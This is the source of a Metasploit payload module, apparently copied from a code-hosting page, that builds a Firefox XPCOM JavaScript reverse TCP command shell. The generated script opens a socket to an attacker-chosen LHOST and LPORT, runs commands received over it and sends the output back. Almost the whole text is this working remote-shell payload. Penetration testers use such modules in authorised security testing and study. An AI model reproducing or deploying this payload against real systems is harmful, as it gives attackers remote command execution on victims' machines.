Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = :dynamic
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Firefox
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info={})
16
    super(merge_info(info,
17
      'Name'          => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
18
      'Description'   => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
19
      'Author'        => ['joev'],
20
      'License'       => BSD_LICENSE,
21
      'Platform'      => 'firefox',
22
      'Arch'          => ARCH_FIREFOX,
23
      'Handler'       => Msf::Handler::ReverseTcp,
24
      'Session'       => Msf::Sessions::CommandShell,
25
      'PayloadType'   => 'firefox'
26
    ))
27
  end
28

29
  def generate(_opts = {})
30
    <<-EOS
31

32
      (function(){
33
        window = this;
34

35
        Components.utils.import("resource://gre/modules/NetUtil.jsm");
36
        var host = '#{datastore["LHOST"]}';
37
        var port = #{datastore["LPORT"]};
38

39
        var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
40
                                .getService(Components.interfaces.nsISocketTransportService);
41
        var socket = socketTransport.createTransport(null, 0, host, port, null);
42
        var outStream = socket.openOutputStream(0, 0, 0);
43
        var inStream = socket.openInputStream(0, 0, 0);
44

45
        var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
46
                       .createInstance(Components.interfaces.nsIInputStreamPump);
47
        pump.init(inStream, -1, -1, 0, 0, true);
48

49
        #{read_until_token_source}
50

51
        var listener = {
52
          onStartRequest: function(request, context) {},
53
          onStopRequest: function(request, context) {},
54
          onDataAvailable: readUntilToken(function(data) {
55
            runCmd(data, function(err, output) {
56
              if (!err) outStream.write(output, output.length);
57
            });
58
          })
59
        };
60

61
        #{run_cmd_source}
62

63
        pump.asyncRead(listener, null);
64
      })();
65

66
    EOS
67
  end
68
end
69

70